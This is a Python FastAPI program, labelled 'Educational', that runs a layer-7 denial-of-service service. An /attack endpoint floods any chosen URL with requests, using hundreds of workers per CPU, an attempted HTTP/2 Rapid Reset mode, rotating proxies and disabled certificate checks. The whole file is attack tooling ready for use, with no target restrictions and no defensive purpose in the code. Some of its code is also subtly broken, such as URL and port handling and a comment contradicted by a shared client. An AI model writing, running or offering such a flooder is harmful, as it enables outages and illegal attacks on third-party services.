# main.py
import asyncio
import logging
import signal
import sys
import threading
from concurrent.futures import ThreadPoolExecutor
from typing import List, Optional

import httpx
import uvicorn
from fastapi import FastAPI, HTTPException
from pydantic import AnyHttpUrl, BaseModel, Field, PositiveInt, validator

# --------------------------------------------------------------------------- #
# Logging
# --------------------------------------------------------------------------- #
logging.basicConfig(
    level=logging.INFO,
    format="%(asctime)s %(levelname)s %(name)s | %(message)s",
)
log = logging.getLogger("l7")

# --------------------------------------------------------------------------- #
# FastAPI app
# --------------------------------------------------------------------------- #
app = FastAPI(title="Layer-7 Power Flood (Educational)")

# --------------------------------------------------------------------------- #
# Global attack state
# --------------------------------------------------------------------------- #
attack_task: Optional[asyncio.Task] = None
stop_event = asyncio.Event()
metrics = {"sent": 0, "err": 0, "start_ts": 0.0}


# --------------------------------------------------------------------------- #
# Pydantic models
# --------------------------------------------------------------------------- #
class Proxy(BaseModel):
    url: str  # e.g. "socks5://1.2.3.4:1080" or "http://user:pass@proxy:port"


class AttackConfig(BaseModel):
    target: AnyHttpUrl = Field(..., description="http:// or https:// URL (no path)")
    port: Optional[PositiveInt] = None
    duration: PositiveInt = Field(..., ge=1, le=600, description="seconds")
    threads: int = Field(-1, description="-1 = auto (CPU×100 workers)")
    use_http2: bool = True
    rapid_reset: bool = True
    proxies: Optional[List[Proxy]] = None

    @validator("target")
    def strip_path(cls, v):
        # Force only scheme + host (no path/query)
        return str(v).split("/", 3)[0] + "//" + str(v).split("/", 3)[2].split("/", 1)[0]

# --------------------------------------------------------------------------- #
# Helper: rotating proxy transport
# --------------------------------------------------------------------------- #
def build_client(proxies: Optional[List[Proxy]], use_http2: bool) -> httpx.AsyncClient:
    transport = None
    if proxies:
        import random
        proxy = random.choice(proxies).url
        transport = httpx.AsyncHTTPTransport(proxy=proxy, retries=1)

    limits = httpx.Limits(max_keepalive_connections=None, max_connections=None)
    return httpx.AsyncClient(
        http1=not use_http2,
        http2=use_http2,
        limits=limits,
        timeout=httpx.Timeout(8.0, connect=5.0),
        verify=False,
        transport=transport,
    )

# --------------------------------------------------------------------------- #
# Core flood worker (HTTP/2 Rapid Reset + HTTP/1.1 fallback)
# --------------------------------------------------------------------------- #
async def flood_worker(client: httpx.AsyncClient, url: str, rapid_reset: bool):
    global metrics
    headers = {
        "User-Agent": httpx._client._DEFAULT_USER_AGENT,
        "Accept": "*/*",
        "Cache-Control": "no-cache",
        "Pragma": "no-cache",
        "Connection": "keep-alive",
    }

    while not stop_event.is_set():
        try:
            if rapid_reset and client.http2:
                # ---- HTTP/2 Rapid Reset ----
                async with client.stream("GET", url, headers=headers) as response:
                    # Immediately cancel the stream
                    await response.aclose()
                metrics["sent"] += 1
            else:
                # ---- Classic HTTP/1.1 GET ----
                await client.get(url, headers=headers)
                metrics["sent"] += 1
        except Exception as e:
            metrics["err"] += 1
            # silently continue
            await asyncio.sleep(0.001)


# --------------------------------------------------------------------------- #
# Attack orchestrator
# --------------------------------------------------------------------------- #
async def run_attack(config: AttackConfig):
    global attack_task, metrics, stop_event

    stop_event.clear()
    metrics = {"sent": 0, "err": 0, "start_ts": asyncio.get_event_loop().time()}

    # Resolve URL
    scheme = "https" if config.target.startswith("https") else "http"
    port = config.port or (443 if scheme == "https" else 80)
    full_url = f"{config.target}:{port}"

    log.info(
        f"Starting flood → {full_url} | {config.duration}s | HTTP2={'ON' if config.use_http2 else 'OFF'} | RapidReset={'ON' if config.rapid_reset else 'OFF'}"
    )

    # Auto-threads
    workers = config.threads
    if workers == -1:
        import os
        workers = max(os.cpu_count() or 1, 1) * 100
    log.info(f"Using {workers} concurrent workers")

    # Build client (one per worker to avoid connection pooling limits)
    client = build_client(config.proxies, config.use_http2)

    # Launch workers
    tasks = [
        asyncio.create_task(flood_worker(client, full_url, config.rapid_reset))
        for _ in range(workers)
    ]

    # Wait for duration
    await asyncio.sleep(config.duration)
    stop_event.set()
    await asyncio.gather(*tasks, return_exceptions=True)
    await client.aclose()

    elapsed = asyncio.get_event_loop().time() - metrics["start_ts"]
    rps = metrics["sent"] / elapsed if elapsed > 0 else 0
    log.info(
        f"Attack finished | Sent: {metrics['sent']:,} | Err: {metrics['err']:,} | RPS: {rps:,.0f}"
    )


# --------------------------------------------------------------------------- #
# API endpoints
# --------------------------------------------------------------------------- #
@app.post("/attack")
async def launch_attack(cfg: AttackConfig):
    global attack_task
    if attack_task and not attack_task.done():
        raise HTTPException(status_code=409, detail="Attack already running")
    attack_task = asyncio.create_task(run_attack(cfg))
    return {"status": "started", "config": cfg.dict()}


@app.post("/stop")
async def stop_attack():
    global attack_task
    if attack_task and not attack_task.done():
        stop_event.set()
        await attack_task
    return {"status": "stopped"}


@app.get("/status")
async def status():
    return {
        "running": attack_task and not attack_task.done(),
        "metrics": metrics,
    }


# --------------------------------------------------------------------------- #
# Graceful shutdown
# --------------------------------------------------------------------------- #
def signal_handler():
    log.info("Received shutdown signal")
    stop_event.set()


if __name__ == "__main__":
    loop = asyncio.get_event_loop()
    for sig in (signal.SIGINT, signal.SIGTERM):
        loop.add_signal_handler(sig, signal_handler)

    uvicorn.run(
        "main:app",
        host="0.0.0.0",
        port=8000,
        log_level="info",
        workers=1,  # single worker; all concurrency inside async tasks
    )